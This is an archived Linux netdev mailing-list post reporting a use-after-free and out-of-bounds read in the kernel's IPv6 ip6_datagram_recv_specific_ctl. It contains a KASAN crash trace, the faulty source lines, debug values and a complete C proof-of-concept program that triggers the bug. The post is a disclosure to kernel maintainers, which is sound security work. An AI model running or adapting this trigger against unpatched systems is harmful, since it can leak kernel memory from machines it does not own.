Netdev List
 help / color / mirror / Atom feed
From: Baozeng Ding <sploving1@gmail.com>
To: netdev@vger.kernel.org
Subject: BUG: net/ipv6: kernel memory leak in ip6_datagram_recv_specific_ctl
Date: Wed, 12 Oct 2016 19:09:57 +0800	[thread overview]
Message-ID: <21019976-9e40-5e6d-b733-fa9eced710f0@gmail.com> (raw)

Hi all,
The following program triggers use-after-free in ip6_datagram_recv_specific_ctl, which may leak kernel memory. The
kernel version is 4.8.0+ (on Oct 7 commit d1f5323370fceaed43a7ee38f4c7bfc7e70f28d0).
==========================================================
BUG: KASAN: use-after-free in ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 at addr ffff880029c84ec8
Read of size 1 by task poc/25548
Call Trace:
 [<ffffffff82cf43c9>] dump_stack+0x12e/0x185 /lib/dump_stack.c:15
 [<     inline     >] print_address_description /mm/kasan/report.c:204
 [<ffffffff817ced3b>] kasan_report_error+0x48b/0x4b0 /mm/kasan/report.c:283
 [<     inline     >] kasan_report /mm/kasan/report.c:303
 [<ffffffff817ced9e>] __asan_report_load1_noabort+0x3e/0x40 /mm/kasan/report.c:321
 [<ffffffff85c71da1>] ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 /net/ipv6/datagram.c:687
 [<ffffffff85c734c3>] ip6_datagram_recv_ctl+0x33/0x40
 [<ffffffff85c0b07c>] do_ipv6_getsockopt.isra.4+0xaec/0x2150
 [<ffffffff85c0c7f6>] ipv6_getsockopt+0x116/0x230
 [<ffffffff859b5a12>] tcp_getsockopt+0x82/0xd0 /net/ipv4/tcp.c:3035
 [<ffffffff855fb385>] sock_common_getsockopt+0x95/0xd0 /net/core/sock.c:2647
 [<     inline     >] SYSC_getsockopt /net/socket.c:1776
 [<ffffffff855f8ba2>] SyS_getsockopt+0x142/0x230 /net/socket.c:1758
 [<ffffffff8685cdc5>] entry_SYSCALL_64_fastpath+0x23/0xc6
Memory state around the buggy address:
 ffff880029c84d80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
 ffff880029c84e00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
> ffff880029c84e80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                              ^
 ffff880029c84f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
 ffff880029c84f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff


==========================================================
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <errno.h>

#define IPV6_2292DSTOPTS        4
#define IPV6_2292PKTOPTIONS     6
#define IPV6_FLOWINFO           11


int main()
{
  int fd;
  int i, r;
  int opt = 1, len = 0;
  struct msghdr msg;
  struct sockaddr_in6 addr;
  int sub_addr[4];
  struct iovec iov;
  memset(sub_addr, 0, sizeof(sub_addr));
  sub_addr[3] = 0x1000000;
  memcpy(&addr.sin6_addr, sub_addr, sizeof(sub_addr));
  addr.sin6_family = AF_INET6;
  addr.sin6_port = 0x10ab;
  addr.sin6_flowinfo = 0x1;
  addr.sin6_scope_id = 0;

  mmap(0x20000000ul, 0x1c000ul, 0x3ul, 0x32ul, -1, 0x0ul, 0, 0, 0);
  memset(0x20000000, 'a', 0x1c000);
  fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  bind(fd, &addr, sizeof(addr));

  setsockopt(fd, IPPROTO_IPV6, IPV6_2292DSTOPTS, &opt, 4);
  setsockopt(fd, IPPROTO_IPV6, IPV6_FLOWINFO, &opt, 4);

  addr.sin6_flowinfo = 0;
  addr.sin6_scope_id = 0;
  msg.msg_name = &addr;
  msg.msg_namelen = sizeof(addr);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_iov->iov_base = 0x20000000;
  msg.msg_iov->iov_len = 0x100;
  msg.msg_control = 0x20000000;
  msg.msg_controllen = 0x100;
  msg.msg_flags = 0;
  r = sendmsg(fd, &msg, MSG_FASTOPEN);
  if (r < 0) {
      printf("sendmsg errno=%d\n", r);
  }

  r = getsockopt(fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0x20012000ul, &len);
  if (r < 0) printf("getsockopt error\n");
  return 0;
}

The following lines case out-of-bounds read, which may leak kernel memory by put_cmsg.
686   u8 *ptr = nh + opt->dst0; // Out-of-bouds when opt->dst0 is large.
687   put_cmsg(msg, SOL_IPV6, IPV6_2292DSTOPTS, (ptr[1]+1)<<3, ptr);

I debuged using printk and  got some values of opt as the following, which may help locate the root cause of the bug. Thanks.

[85564.842733] degug: opt->iif is 0xe111121c
[85564.842737] degug: opt->ra is 0x121c
[85564.842741] degug: opt->dst0 is 0xe111

Best Regards,
Baozeng Ding

             reply	other threads:[~2016-10-12 11:10 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2016-10-12 11:09 Baozeng Ding [this message]
2016-10-12 15:05 ` BUG: net/ipv6: kernel memory leak in ip6_datagram_recv_specific_ctl Eric Dumazet
2016-10-12 17:01 ` [PATCH net] ipv6: tcp: restore IP6CB for pktoptions skbs Eric Dumazet

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=21019976-9e40-5e6d-b733-fa9eced710f0@gmail.com \
    --to=sploving1@gmail.com \
    --cc=netdev@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox